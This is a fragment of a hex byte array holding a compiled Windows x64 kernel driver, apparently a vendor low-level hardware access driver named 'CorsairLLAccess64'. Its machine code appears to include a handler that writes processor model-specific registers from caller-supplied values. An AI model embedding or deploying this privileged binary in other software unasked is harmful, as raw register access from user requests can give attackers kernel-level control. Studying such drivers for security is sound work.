0x08, 0x00, - 0x00, 0x00, 0x33, 0xD2, 0x48, 0x8D, 0x0D, 0xE9, 0x18, 0x00, 0x00, 0xFF, - 0x15, 0x93, 0x06, 0x00, 0x00, 0x8B, 0xC3, 0x48, 0x8B, 0x5C, 0x24, 0x40, - 0x48, 0x8B, 0x6C, 0x24, 0x48, 0x48, 0x8B, 0x74, 0x24, 0x50, 0x48, 0x83, - 0xC4, 0x30, 0x5F, 0xC3, 0xB9, 0x03, 0x00, 0x00, 0x00, 0xCD, 0x29, 0xCC, - 0x4D, 0x8B, 0xC8, 0x83, 0xFA, 0x0C, 0x73, 0x06, 0xB8, 0x23, 0x00, 0x00, - 0xC0, 0xC3, 0x45, 0x33, 0xC0, 0x48, 0x8B, 0x51, 0x04, 0x48, 0x8B, 0xC2, - 0x48, 0xC1, 0xEA, 0x20, 0x8B, 0x09, 0x0F, 0x30, 0x49, 0xC7, 0x01, 0x08, - 0x00, 0x00, 0x00, 0xEB, 0x03, 0x44, 0x8B, 0xC0, 0x41, 0x8B, 0xC0, 0xC3, - 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x49, 0x8B, - 0xF8, 0x48, 0x8B, 0xD9, 0x83, 0xFA, 0x14, 0x72, 0x56, 0x8B, 0x49, 0x10, - 0x8B, 0xC2, 0x4C, 0x8D, 0x49, 0x14, 0x49, 0x3B, 0xC1, 0x72, 0x48, 0x44, - 0x8B, 0x43, 0x08, 0x4C, 0x8D, 0x4B, 0x14, 0x8B, 0x43, 0x04, 0x41, 0x83, - 0xE0, 0x07, 0x8B, 0x13, 0x83, 0xE0, 0x1F, 0x89, 0x4C, 0x24, 0x28, 0xB9, - 0x04, 0x00, 0x00, 0x00, 0x41, 0xC1, 0xE0, 0x05, 0x44, 0x0B, 0xC0, 0x8B, - 0x43, 0x0C, 0x89, 0x44, 0x24, 0x20, 0xFF, 0x15, 0xC0, 0x05, 0x00, 0x00, - 0x8B, 0xC8, 0x48, 0x89, 0x0F, 0x8B, 0x43, 0x10, 0x48, 0x2B, 0xC8, 0x48, - 0xF7, 0xD9, 0x1B, 0xC0, 0x25, 0x0D, 0x00, 0x00, 0xC0, 0xEB, 0x05, 0xB8, - 0x23, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x40, 0x48, 0x83, 0xC4, - 0x30, 0x5F, 0xC3, 0xCC, 0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x10, 0x48, - 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x55, 0x41, 0x54, 0x41, 0x56, - 0x48, 0x8D, 0xA8, 0x38, 0xFE, 0xFF, 0xFF, 0x48, 0x81, 0xEC, 0xB0, 0x02, - 0x00, 0x00, 0x48, 0x8B, 0x05, 0x6F, 0x15, 0x00, 0x00, 0x48, 0x33, 0xC4, - 0x48, 0x89, 0x85, 0xA0, 0x01, 0x00, 0x00, 0x48, 0x8B, 0xF9, 0xC7, 0x45, - 0x80, 0x14, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x4D, 0x80, 0xFF, 0x15, 0x71, - 0x05, 0x00, 0x00, 0x45, 0x33, 0xE4, 0x85, 0xC0, 0x78, 0x22, 0x83, 0x7D, - 0x84, 0x06, 0x77, 0x08, 0x75, 0x1A, 0x83, 0x7D, 0x88, 0x02, 0x72, 0x14, - 0xC7, 0x05, 0x72, 0x15, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0xC7, 0x05, - 0x6C, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x0F, 0x10, 0x47, 0x38, - 0x48, 0x8D, 0x15, 0x4D, 0x04, 0x00, 0x00, 0x48, 0x83, 0xCB, 0xFF, 0xF3, - 0x0F, 0x7F, 0x44, 0x24, 0x48, 0x48, 0xFF, 0xC3, 0x66, 0x44, 0x39, 0x24, - 0x5A, 0x75, 0xF6, 0x0F, 0xB7, 0x74, 0x24, 0x48, 0x0F, 0xB7, 0xC6, 0x66, - 0xD1, 0xE8, 0x66, 0x3B, 0xD8, 0x73, 0x05, 0x0F, 0xB7, 0xC3, 0xEB, 0x05, - 0x0F, 0xB7, 0xC6, 0xD1, 0xE8, 0x4C, 0x8B, 0x74, 0x24, 0x50, 0x49, 0x8B, - 0xCE, 0x44, 0x8B, 0xC0, 0xE8, 0x3B, 0x02, 0x00, 0x00, 0x85, 0xC0, 0x75, - 0x12, 0xB8, 0xFE, 0xFF, 0x00, 0x00, 0x0F, 0xB7, 0xCB, 0x0F, 0xAF, 0xC8, - 0x4D, 0x8D, 0x34, 0x5E, 0x66, 0x03, 0xF1, 0x4C, 0x8D, 0x05, 0x12, 0x04, - 0x00, 0x00, 0xBA, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0xA0, 0x00, - 0x00, 0x00, 0xE8, 0x01, 0x02, 0x00, 0x00, 0x0F, 0xB7, 0xDE, 0x48, 0x8D, - 0x8D, 0xA0, 0x00, 0x00, 0x00, 0x48, 0xD1, 0xEB, 0x4D, 0x8B, 0xC6, 0x4C, - 0x8B, 0xCB, 0xBA, 0x80, 0x00, 0x00, 0x00, 0xE8, 0xEA, 0x01, 0x00, 0x00, - 0x48, 0x8D, 0x95, 0xA0, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x58, - 0xFF, 0x15, 0x9A, 0x04, 0x00, 0x00, 0xBE, 0x00, 0x01, 0x00, 0x00, 0x4C, - 0x8D, 0x05, 0xE6, 0x03, 0x00, 0x00, 0x8B, 0xD6, 0x48, 0x8D, 0x0D, 0xED, - 0x14, 0x00, 0x00, 0xE8, 0xB8, 0x01, 0x00, 0x00, 0x4C, 0x8B, 0xCB, 0x48, - 0x8D, 0x0D, 0xDE, 0x14, 0x00, 0x00, 0x4D, 0x8B, 0xC6, 0x8B, 0xD6, 0xE8, - 0xAA, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x15, 0xCD, 0x14, 0x00, 0x00, 0x48, - 0x8D, 0x4C, 0x24, 0x68, 0xFF, 0x15, 0x5A, 0x04, 0x00, 0x00, 0x48, 0x8D, - 0x44, 0x24, 0x40, 0x4C, 0x89, 0x64, 0x24, 0x40, 0x48, 0x89, 0x44, 0x24, - 0x30, 0x4C, 0x8D, 0x44, 0x24, 0x58, 0x44, 0x88, 0x64, 0x24, 0x28, 0x41, - 0xB9, 0x22, 0x00, 0x00, 0x00, 0x33, 0xD2, 0x44, 0x89, 0x64, 0x24, 0x20, - 0x48, 0x8B, 0xCF, 0xFF, 0x15, 0xB3, 0x04, 0x00, 0x00, 0x85, 0xC0, 0x0F, - 0x88, 0xB0, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x54, 0x24, 0x58, 0x48, 0x8D, - 0x4C, 0x24, 0x68, 0xFF, 0x15, 0xA3, 0x04, 0x00, 0x00, 0x8B, 0xD8, 0x85, - 0xC0, 0x79, 0x12, 0x48, 0x8B, 0x4C, 0x24, 0x40, 0xFF, 0x15, 0x9A, 0x04, - 0x00, 0x00, 0x8B, 0xC3, 0xE9, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x05, - 0xAC, 0xF4, 0xFF, 0xFF, 0x33, 0xD2, 0x48, 0x89, 0x47, 0x70, 0x48, 0x8D, - 0x0D, 0x4F, 0x16, 0x00, 0x00, 0x48, 0x8D, 0x05, 0xC8, 0xF3, 0xFF, 0xFF, - 0x48, 0x89, 0x87, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x05, 0xAA, 0xF4, - 0xFF, 0xFF, 0x48, 0x89, 0x87, 0xE0, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x05, - 0x4C, 0xF6, 0xFF, 0xFF, 0x48, 0x89, 0x47, 0x68, 0x48, 0x8D, 0x05, 0x59, - 0x16, 0x00, 0x00, 0x48, 0x89, 0x05, 0x5A, 0x16, 0x00, 0x00, 0x48, 0x89, - 0x05, 0x4B, 0x16, 0x00, 0x00, 0xFF, 0x15, 0xB5, 0x03, 0x00, 0x00, 0x44, - 0x8B, 0x0D, 0xC6, 0x13, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x7F, 0x16, 0x00, - 0x00, 0x66, 0x44, 0x89, 0x64, 0x24, 0x30, 0x45, 0x33, 0xC0, 0xC7, 0x44, - 0x24, 0x28, 0x43, 0x4C, 0x4D, 0x4D, 0x33, 0xD2, 0x48, 0xC7, 0x44, 0x24, - 0x20, 0x48, 0x00, 0x00, 0x00, 0xFF, 0x15, 0xB5, 0x03, 0x00, 0x00, 0x33, - 0xC0, 0x48, 0x8B, 0x8D, 0xA0, 0x01, 0x00, 0x00, 0x48, 0x33, 0xCC, 0xE8, - 0x3C, 0x00, 0x00, 0x00, 0x4C, 0x8D, 0x9C, 0x24, 0xB0, 0x02, 0x00, 0x00, - 0x49, 0x8B, 0x5B, 0x28, 0x49, 0x8B, 0x73, 0x30, 0x49, 0x8B, 0x7B, 0x38, - 0x49, 0x8B, 0xE3, 0x41, 0x5E, 0x41, 0x5C, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x48, 0x3B, 0x0D, 0x09, 0x13, 0x00, 0x00, 0x75, - 0x10, 0x48, 0xC1, 0xC1, 0x10, 0x66, 0xF7, 0xC1, 0xFF, 0xFF, 0x75, 0x01, - 0xC3, 0x48, 0xC1, 0xC9, 0x10, 0xE9, 0x12, 0x00, 0x00, 0x00, 0xCC, 0xCC, - 0xC2, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x38, 0x48, 0x83, 0x64, 0x24, - 0x20, 0x00, 0x48, 0x8B, 0xD1, 0x4C, 0x8B, 0x0D, 0xD4, 0x12, 0x00, 0x00, - 0xB9, 0xF7, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0x05, 0xC0, 0x12, 0x00, 0x00, - 0x48, 0xFF, 0x15, 0x91, 0x03, 0x00, 0x00, 0x0F, 0x1F, 0x44, 0x00, 0x00, - 0xCC, 0xCC, 0xCC, 0xCC, 0xFF, 0x25, 0x9A, 0x03, 0x00, 0x00, 0xFF, 0x25, - 0x84, 0x03, 0x00, 0x00, 0xFF, 0x25, 0x16, 0x03, 0x00, 0x00, 0xFF, 0x25, - 0x68, 0x03, 0x00, 0x00, 0x48, 0x83, 0xEC, 0x28, 0x4D, 0x8B, 0x41, 0x38, - 0x48, 0x8B, 0xCA, 0x49, 0x8B, 0xD1, 0xE8, 0x0D, 0x00, 0x00, 0x00, 0xB8, - 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0xCC, 0xCC, - 0x48, 0x83, 0xEC, 0x28, 0x41, 0x8B, 0x00, 0x4C, 0x8B, 0xC9, 0x44, 0x8B, - 0xD8, 0x4C, 0x8B, 0xD1, 0x41, 0x83, 0xE3, 0xF8, 0xA8, 0x04, 0x74, 0x13, - 0x41, 0x8B, 0x40, 0x08, 0x4D, 0x63, 0x50, 0x04, 0xF7, 0xD8, 0x4C, 0x03, - 0xD1, 0x48, 0x63, 0xC8, 0x4C, 0x23, 0xD1, 0x49, 0x63, 0xC3, 0x4E, 0x8B, - 0x04, 0x10, 0x48, 0x8B, 0x42, 0x10, 0x8B, 0x48, 0x08, 0x48, 0x8B, 0x42, - 0x08, 0x8A, 0x54, 0x01, 0x03, 0xF6, 0xC2, 0x0F, 0x74, 0x09, 0x0F, 0xB6, - 0xC2, 0x83, 0xE0, 0xF0, 0x4C, 0x03, 0xC8, 0x4D, 0x33, 0xC8, 0x49, 0x8B, - 0xC9, 0xE8, 0x0E, 0xFF, 0xFF, 0xFF, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xFF, 0xE0, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8B, 0xC1, 0x49, 0x83, 0xF8, 0x08, 0x72, - 0x47, 0x0F, 0xB6, 0xD2, 0x49, 0xB9, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, - 0x01, 0x01, 0x49, 0x0F, 0xAF, 0xD1, 0x49, 0x83, 0xF8, 0x4F, 0x73, 0x50, - 0x4D, 0x8B, 0xC8, 0x49, 0x83, 0xE1, 0xF8, 0x49, 0x03, 0xC9, 0x66, 0x0F, - 0x1F, 0x44, 0x00, 0x00, 0x4A, 0x89, 0x54, 0x08, 0xF8, 0x49, 0x83, 0xE9, - 0x08, 0x75, 0xF5, 0x49, 0x83, 0xE0, 0x07, 0x74, 0x05, 0x4A, 0x89, 0x54, - 0x01, 0xF8, 0xC3, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x49, 0x83, 0xE0, 0x07, 0x74, 0x0A, 0x42, 0x88, 0x54, 0x00, 0xFF, 0x49, - 0xFF, 0xC8, 0x75, 0xF6, 0xC3, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, - 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x48, 0x0F, 0x6E, - 0xC2, 0x0F, 0x16, 0xC0, 0x0F, 0x11, 0x01, 0x4C, 0x03, 0xC1, 0x48, 0x83, - 0xC1, 0x10, 0x48, 0x83, 0xE1, 0xF0, 0x4C, 0x2B, 0xC1, 0x4D, 0x8B, 0xC8, - 0x49, 0xC1, 0xE9, 0x07, 0x74, 0x2F, 0x0F, 0x29, 0x01, 0x0F, 0x29, 0x41, - 0x10, 0x48, 0x81, 0xC1, 0x80, 0x00, 0x00, 0x00, 0x0F, 0x29, 0x41, 0xA0, - 0x0F, 0x29, 0x41, 0xB0, 0x49, 0xFF, 0xC9, 0x0F, 0x29, 0x41, 0xC0, 0x0F, - 0x29, 0x41, 0xD0, 0x0F, 0x29, 0x41, 0xE0, 0x0F, 0x29, 0x41, 0xF0, 0x75, - 0xD5, 0x49, 0x83, 0xE0, 0x7F, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x04, - 0x74, 0x12, 0x66, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x0F, 0x11, 0x01, 0x48, - 0x83, 0xC1, 0x10, 0x49, 0xFF, 0xC9, 0x75, 0xF4, 0x49, 0x83, 0xE0, 0x0F, - 0x74, 0x06, 0x42, 0x0F, 0x11, 0x44, 0x01, 0xF0, 0xC3, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x5C, 0x00, 0x44, 0x00, 0x72, 0x00, 0x69, 0x00, - 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x00, 0x00, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x5C, 0x00, 0x44, 0x00, 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, - 0x65, 0x00, 0x5C, 0x00, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x5C, 0x00, 0x44, 0x00, - 0x6F, 0x00, 0x73, 0x00, 0x44, 0x00, 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, - 0x63, 0x00, 0x65, 0x00, 0x73, 0x00, 0x5C, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C, 0x54, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x34, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF2, 0x51, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x0A, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x1A, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x52, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x40, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x58, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6C, 0x52, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x8A, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xAA, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCC, 0x52, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xEA, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x06, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE8, 0x51, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x3C, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x4C, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5E, 0x53, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x6E, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x84, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x96, 0x53, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xAE, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xC0, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD8, 0x53, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xE4, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xFE, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x54, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xDC, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x26, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD0, 0x51, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x10, 0x1D, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x00, 0x40, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0xD0, 0x10, 0x00, 0x00, - 0xF0, 0x10, 0x00, 0x00, 0xA0, 0x12, 0x00, 0x00, 0x90, 0x16, 0x00, 0x00, - 0xB0, 0x16, 0x00, 0x00, 0x10, 0x1D, 0x00, 0x00, 0x20, 0x1D, 0x00, 0x00, - 0x00, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7A, 0x77, 0xB7, 0x5D, - 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x74, 0x00, 0x00, 0x00, - 0x88, 0x22, 0x00, 0x00, 0x88, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x7A, 0x77, 0xB7, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, - 0x74, 0x01, 0x00, 0x00, 0xFC, 0x22, 0x00, 0x00, 0xFC, 0x16, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x01, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x30, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x21, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x08, 0x21, 0x00, 0x40, - 0x01, 0x00, 0x00, 0x00, 0x10, 0x21, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, - 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x45, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0x53, 0x44, 0x53, - 0xC7, 0x3D, 0x3F, 0x05, 0xE7, 0x77, 0xC7, 0x4F, 0x92, 0x0B, 0x75, 0x46, - 0x68, 0xC8, 0x64, 0xF6, 0x01, 0x00, 0x00, 0x00, 0x63, 0x3A, 0x5C, 0x70, - 0x72, 0x6F, 0x6A, 0x65, 0x63, 0x74, 0x73, 0x5C, 0x43, 0x6F, 0x72, 0x73, - 0x61, 0x69, 0x72, 0x4C, 0x4C, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x44, - 0x72, 0x69, 0x76, 0x65, 0x72, 0x5C, 0x57, 0x6F, 0x72, 0x6B, 0x69, 0x6E, - 0x67, 0x44, 0x69, 0x72, 0x65, 0x63, 0x74, 0x6F, 0x72, 0x79, 0x5C, 0x4F, - 0x75, 0x74, 0x70, 0x75, 0x74, 0x5C, 0x52, 0x65, 0x6C, 0x65, 0x61, 0x73, - 0x65, 0x5C, 0x78, 0x36, 0x34, 0x5C, 0x43, 0x6F, 0x72, 0x73, 0x61, 0x69, - 0x72, 0x4C, 0x4C, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x36, 0x34, 0x2E, - 0x70, 0x64, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, - 0xF0, 0x0D, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x6D, 0x6E, - 0x00, 0x00, 0x00, 0x00, 0xF0, 0x1D, 0x00, 0x00, 0x50, 0x00, 0x00, 0x00, - 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x6D, 0x6E, 0x24, 0x30, 0x30, 0x00, - 0x40, 0x1E, 0x00, 0x00, 0xF0, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, - 0x74, 0x24, 0x6D, 0x6E, 0x24, 0x32, 0x31, 0x00, 0x30, 0x1F, 0x00, 0x00, - 0x5A, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x73, 0x00, - 0x00, 0x20, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, - 0x74, 0x61, 0x24, 0x35, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x00, 0x00, - 0x10, 0x00, 0x00, 0x00, 0x2E, 0x30, 0x30, 0x63, 0x66, 0x67, 0x00, 0x00, - 0x10, 0x21, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x2E, 0x67, 0x66, 0x69, - 0x64, 0x73, 0x00, 0x00, 0x40, 0x21, 0x00, 0x00, 0x48, 0x01, 0x00, 0x00, - 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x88, 0x22, 0x00, 0x00, - 0xE8, 0x01, 0x00, 0x00, 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x24, 0x7A, - 0x7A, 0x7A, 0x64, 0x62, 0x67, 0x00, 0x00, 0x00, 0x70, 0x24, 0x00, 0x00, - 0x7C, 0x01, 0x00, 0x00, 0x2E, 0x78, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, - 0x00, 0x30, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x2E, 0x64, 0x61, 0x74, - 0x61, 0x00, 0x00, 0x00, 0x40, 0x30, 0x00, 0x00, 0x40, 0x03, 0x00, 0x00, - 0x2E, 0x62, 0x73, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, - 0xFC, 0x00, 0x00, 0x00, 0x2E, 0x70, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, - 0x00, 0x50, 0x00, 0x00, 0x90, 0x00, 0x00, 0x00, 0x49, 0x4E, 0x49, 0x54, - 0x00, 0x00, 0x00, 0x00, 0x90, 0x50, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, - 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x32, 0x00, 0x00, 0x00, 0x00, - 0xB8, 0x50, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, - 0x74, 0x61, 0x24, 0x33, 0x00, 0x00, 0x00, 0x00, 0xD0, 0x50, 0x00, 0x00, - 0x00, 0x01, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x34, - 0x00, 0x00, 0x00, 0x00, 0xD0, 0x51, 0x00, 0x00, 0x9C, 0x02, 0x00, 0x00, - 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x36, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x60, 0x00, 0x00, 0xB0, 0x00, 0x00, 0x00, 0x2E, 0x72, 0x73, 0x72, - 0x63, 0x24, 0x30, 0x31, 0x00, 0x00, 0x00, 0x00, 0xB0, 0x60, 0x00, 0x00, - 0x78, 0x03, 0x00, 0x00, 0x2E, 0x72, 0x73, 0x72, 0x63, 0x24, 0x30, 0x32, - 0x00, 0x00, 0x00, 0x00, 0x02, 0x1D, 